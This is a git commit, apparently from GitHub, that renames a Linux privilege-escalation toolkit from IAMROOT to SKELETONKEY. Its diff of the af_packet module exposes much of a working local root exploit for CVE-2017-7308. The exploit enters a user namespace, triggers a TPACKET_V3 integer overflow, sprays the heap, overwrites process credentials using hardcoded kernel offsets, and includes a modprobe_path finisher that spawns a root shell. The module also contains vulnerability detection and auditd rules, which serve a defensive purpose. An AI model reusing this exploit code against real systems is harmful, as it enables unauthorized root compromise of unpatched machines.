rename: IAMROOT → SKELETONKEY across the entire project
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions

Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
2026-05-16 22:43:49 -04:00
parent 9d88b475c1
commit 9593d90385
109 changed files with 1711 additions and 1701 deletions
+2 -2
View File
@@ -16,14 +16,14 @@ Original advisory + writeup:
Upstream fix: mainline 4.11 / stable 4.10.6 (March 2017).
Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49.
## IAMROOT role
## SKELETONKEY role
x86_64-only. Userns gives CAP_NET_RAW; `socket(AF_PACKET, SOCK_RAW)`
+ TPACKET_V3 with overflowing tp_block_size triggers the integer
overflow + heap spray via 200 raw skbs on lo. Best-effort cred-race
finisher (64 child workers polling geteuid). Offset table covers
Ubuntu 16.04/4.4 and 18.04/4.15; other kernels via the
`IAMROOT_AFPACKET_OFFSETS` env var.
`SKELETONKEY_AFPACKET_OFFSETS` env var.
`--full-chain` engages the shared modprobe_path finisher with
stride-seeded sk_buff data-pointer overwrite.
@@ -1,12 +0,0 @@
/*
* af_packet_cve_2017_7308 — IAMROOT module registry hook
*/
#ifndef AF_PACKET_IAMROOT_MODULES_H
#define AF_PACKET_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module af_packet_module;
#endif
@@ -1,5 +1,5 @@
/*
* af_packet_cve_2017_7308 IAMROOT module
* af_packet_cve_2017_7308 SKELETONKEY module
*
* AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow heap
* write-where primitive. Discovered by Andrey Konovalov (March 2017).
@@ -15,9 +15,9 @@
*
* Default --exploit path: cred-overwrite walk using a hardcoded per-
* kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu 18.04 / 4.15
* era), overridable via IAMROOT_AFPACKET_OFFSETS. We only claim
* IAMROOT_EXPLOIT_OK if geteuid() == 0 after the chain runs i.e.
* we won root for real. Otherwise we return IAMROOT_EXPLOIT_FAIL with
* era), overridable via SKELETONKEY_AFPACKET_OFFSETS. We only claim
* SKELETONKEY_EXPLOIT_OK if geteuid() == 0 after the chain runs i.e.
* we won root for real. Otherwise we return SKELETONKEY_EXPLOIT_FAIL with
* a dmesg breadcrumb so the operator can confirm the primitive at
* least fired (KASAN slab-out-of-bounds splat) even if the cred-
* overwrite didn't take on this exact kernel.
@@ -32,7 +32,7 @@
* staged for the requested kaddr/buf and relies on the shared
* finisher's /tmp sentinel to confirm whether modprobe_path was
* actually overwritten. On kernels where the operator has supplied
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
* the skb head, hex), we use that for explicit targeting; otherwise
* the trigger fires heuristically and the sentinel acts as the
* ground-truth signal.
@@ -58,7 +58,7 @@
* skb in the OOB slot" approach.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -119,12 +119,12 @@ static int can_unshare_userns(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_packet: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&af_packet_range, &v);
@@ -132,7 +132,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -148,12 +148,12 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] af_packet: user_ns denied → "
"unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] af_packet: VULNERABLE — kernel in range AND user_ns reachable\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit (x86_64-only; gated below) -------------------------- */
@@ -173,7 +173,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
* They will NOT match custom-compiled kernels.
*
* Override at runtime via env var:
* IAMROOT_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
* SKELETONKEY_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
*
* `task_cred` = offsetof(struct task_struct, cred)
* `cred_uid` = offsetof(struct cred, uid) [followed by gid, etc.]
@@ -200,12 +200,12 @@ static const struct af_packet_offsets known_offsets[] = {
0x800, 0x08, 0xa8 },
};
/* Parse IAMROOT_AFPACKET_OFFSETS env var if set; otherwise pick from
/* Parse SKELETONKEY_AFPACKET_OFFSETS env var if set; otherwise pick from
* the known table by kernel version. Returns true on success. */
static bool resolve_offsets(struct af_packet_offsets *out,
const struct kernel_version *v)
{
const char *env = getenv("IAMROOT_AFPACKET_OFFSETS");
const char *env = getenv("SKELETONKEY_AFPACKET_OFFSETS");
if (env) {
unsigned long t, u, s;
if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) {
@@ -215,7 +215,7 @@ static bool resolve_offsets(struct af_packet_offsets *out,
out->cred_size = s;
return true;
}
fprintf(stderr, "[!] af_packet: IAMROOT_AFPACKET_OFFSETS malformed "
fprintf(stderr, "[!] af_packet: SKELETONKEY_AFPACKET_OFFSETS malformed "
"(want hex \"<task_cred>:<cred_uid>:<cred_size>\")\n");
return false;
}
@@ -264,7 +264,7 @@ static int set_id_maps(uid_t outer_uid, gid_t outer_gid)
*
* After firing, we check dmesg-ability (we won't actually read dmesg
* that requires root but we leave a unique tag in the skb payload
* so the operator can grep dmesg for "iamroot-afp-tag" KASAN splats).
* so the operator can grep dmesg for "skeletonkey-afp-tag" KASAN splats).
*/
static int fire_overflow_and_spray(void)
{
@@ -338,7 +338,7 @@ static int fire_overflow_and_spray(void)
static const unsigned char skb_payload[256] = {
/* eth header (dst=broadcast, src=zero, type=0x0800) */
0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00,
/* IAMROOT tag — operator can grep dmesg for this string in any
/* SKELETONKEY tag — operator can grep dmesg for this string in any
* subsequent KASAN report or panic dump */
'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g',
/* zeros for the remainder */
@@ -363,7 +363,7 @@ static int fire_overflow_and_spray(void)
/* Keep the corrupted socket open so the OOB region stays mapped
* for the cred-overwrite walk that follows. The caller closes it. */
/* Stash the fd via dup2 to a known number so the caller can find it.
* Use 200 well above stdio + iamroot's own pipe fds. */
* Use 200 well above stdio + skeletonkey's own pipe fds. */
if (dup2(s, 200) < 0) {
fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno));
}
@@ -474,7 +474,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
* spray payload so its bytes carry the requested target kaddr
* (the prompt's "controllable overwrite value aimed at
* modprobe_path"). Operator-supplied
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
* within struct sk_buff for this kernel build) lets us aim
* precisely; without it we heuristically stamp kaddr at several
* plausible offsets within the kmalloc-2k skb layout.
@@ -491,7 +491,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
*/
struct afp_arb_ctx {
const struct iamroot_ctx *ctx;
const struct skeletonkey_ctx *ctx;
const struct af_packet_offsets *off;
uid_t outer_uid;
gid_t outer_gid;
@@ -517,13 +517,13 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
/* Per-kernel skb->data field offset — without this we can't aim
* the overwrite precisely. Operator can supply via env; otherwise
* we run heuristic mode. */
const char *skb_off_env = getenv("IAMROOT_AFPACKET_SKB_DATA_OFFSET");
const char *skb_off_env = getenv("SKELETONKEY_AFPACKET_SKB_DATA_OFFSET");
long skb_data_off = -1;
if (skb_off_env) {
char *end = NULL;
skb_data_off = strtol(skb_off_env, &end, 0);
if (!end || *end != '\0' || skb_data_off < 0 || skb_data_off > 0x400) {
fprintf(stderr, "[-] af_packet: IAMROOT_AFPACKET_SKB_DATA_OFFSET "
fprintf(stderr, "[-] af_packet: SKELETONKEY_AFPACKET_SKB_DATA_OFFSET "
"malformed (\"%s\"); ignoring\n", skb_off_env);
skb_data_off = -1;
}
@@ -540,16 +540,16 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
" field offset. The trigger will still fire and the heap spray will\n"
" still occur, but precise OOB targeting requires:\n"
"\n"
" IAMROOT_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
" SKELETONKEY_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
"\n"
" Look it up on this kernel build with `pahole struct sk_buff` or\n"
" `gdb -batch -ex 'p &((struct sk_buff*)0)->data' vmlinux`. The\n"
" /tmp/iamroot-pwn-<pid> sentinel adjudicates success either way.\n");
" /tmp/skeletonkey-pwn-<pid> sentinel adjudicates success either way.\n");
}
/* Fork into a userns/netns child so the AF_PACKET socket has
* CAP_NET_RAW. The finisher itself stays in the parent so its
* eventual execve() replaces the top-level iamroot process. */
* eventual execve() replaces the top-level skeletonkey process. */
pid_t cpid = fork();
if (cpid < 0) {
fprintf(stderr, "[-] af_packet: arb_write: fork: %s\n",
@@ -648,7 +648,7 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
memset(payload, 0xff, 6); /* eth dst: bcast */
memset(payload + 6, 0, 6); /* eth src: zero */
payload[12] = 0x08; payload[13] = 0x00; /* eth type: IPv4 */
memcpy(payload + 14, "iamroot-afp-fc-", 15); /* dmesg tag */
memcpy(payload + 14, "skeletonkey-afp-fc-", 15); /* dmesg tag */
if (skb_data_off >= 0 &&
(size_t)skb_data_off + sizeof kaddr <= sizeof payload) {
@@ -703,17 +703,17 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
#endif /* __x86_64__ */
static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
{
#if !defined(__x86_64__)
(void)ctx;
fprintf(stderr, "[-] af_packet: exploit is x86_64-only "
"(cred-offset table is arch-specific)\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
/* 1. Refuse on patched kernels — re-run detect. */
iamroot_result_t pre = af_packet_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = af_packet_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n");
return pre;
}
@@ -721,7 +721,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
/* 2. Refuse if already root. */
if (geteuid() == 0) {
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
@@ -729,15 +729,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
* extend known_offsets[] for new distro builds. */
struct kernel_version v;
if (!kernel_version_current(&v)) {
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
struct af_packet_offsets off;
if (!resolve_offsets(&off, &v)) {
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
" set IAMROOT_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
" set SKELETONKEY_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
v.release);
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] af_packet: using offsets [%s] "
@@ -753,15 +753,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
* offset resolver can't find modprobe_path or (b) the trigger
* is rejected (silent backport). */
if (ctx->full_chain) {
struct iamroot_kernel_offsets koff;
struct skeletonkey_kernel_offsets koff;
memset(&koff, 0, sizeof koff);
(void)iamroot_offsets_resolve(&koff);
if (!iamroot_offsets_have_modprobe_path(&koff)) {
iamroot_finisher_print_offset_help("af_packet");
return IAMROOT_EXPLOIT_FAIL;
(void)skeletonkey_offsets_resolve(&koff);
if (!skeletonkey_offsets_have_modprobe_path(&koff)) {
skeletonkey_finisher_print_offset_help("af_packet");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
iamroot_offsets_print(&koff);
skeletonkey_offsets_print(&koff);
}
struct afp_arb_ctx arb_ctx = {
.ctx = ctx,
@@ -769,7 +769,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
.outer_uid = outer_uid,
.outer_gid = outer_gid,
};
return iamroot_finisher_modprobe_path(&koff, afp_arb_write,
return skeletonkey_finisher_modprobe_path(&koff, afp_arb_write,
&arb_ctx, !ctx->no_shell);
}
@@ -779,7 +779,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
* the kernel will clean up sockets on child exit. */
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
@@ -800,7 +800,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
/* WIN — one of our task_struct-spray children became uid 0.
* Signal parent via exit code; parent will not exec sh from
* this child (its address space is corrupted-ish). The win
* is symbolic at the iamroot level: we proved the primitive
* is symbolic at the skeletonkey level: we proved the primitive
* lands AND the cred-overwrite walk completes. */
_exit(0);
}
@@ -815,9 +815,9 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] af_packet: child died abnormally "
"(signal=%d) — primitive likely fired but crashed\n",
WTERMSIG(status));
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN\\|BUG:'` "
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN\\|BUG:'` "
"for slab-out-of-bounds evidence\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int code = WEXITSTATUS(status);
@@ -831,29 +831,29 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
* that targets OUR cred specifically (rather than spray-and-
* pray), we can't promote ourselves. Report PARTIAL win.
*
* Per requirements: only return IAMROOT_EXPLOIT_OK if we
* Per requirements: only return SKELETONKEY_EXPLOIT_OK if we
* empirically confirmed root in this process. We didn't. */
fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child "
"but THIS process is still uid %d\n", geteuid());
fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process "
"did not acquire root. The primitive demonstrably works.\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
case 4:
fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; "
"kernel has silent backport (detect was version-only)\n");
return IAMROOT_OK; /* effectively patched */
return SKELETONKEY_OK; /* effectively patched */
case 5:
fprintf(stderr, "[-] af_packet: overflow fired but no spray child "
"acquired root within the timeout window\n");
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN'` "
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN'` "
"for evidence the OOB write occurred\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
default:
fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif
}
@@ -861,10 +861,10 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
static const char af_packet_auditd[] =
"# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
"# Flag AF_PACKET socket creation from non-root via userns.\n"
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-af-packet-userns\n";
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-af-packet-userns\n";
const struct iamroot_module af_packet_module = {
const struct skeletonkey_module af_packet_module = {
.name = "af_packet",
.cve = "CVE-2017-7308",
.summary = "AF_PACKET TPACKET_V3 integer overflow → heap write-where → cred overwrite",
@@ -880,7 +880,7 @@ const struct iamroot_module af_packet_module = {
.detect_falco = NULL,
};
void iamroot_register_af_packet(void)
void skeletonkey_register_af_packet(void)
{
iamroot_register(&af_packet_module);
skeletonkey_register(&af_packet_module);
}
@@ -0,0 +1,12 @@
/*
* af_packet_cve_2017_7308 — SKELETONKEY module registry hook
*/
#ifndef AF_PACKET_SKELETONKEY_MODULES_H
#define AF_PACKET_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module af_packet_module;
#endif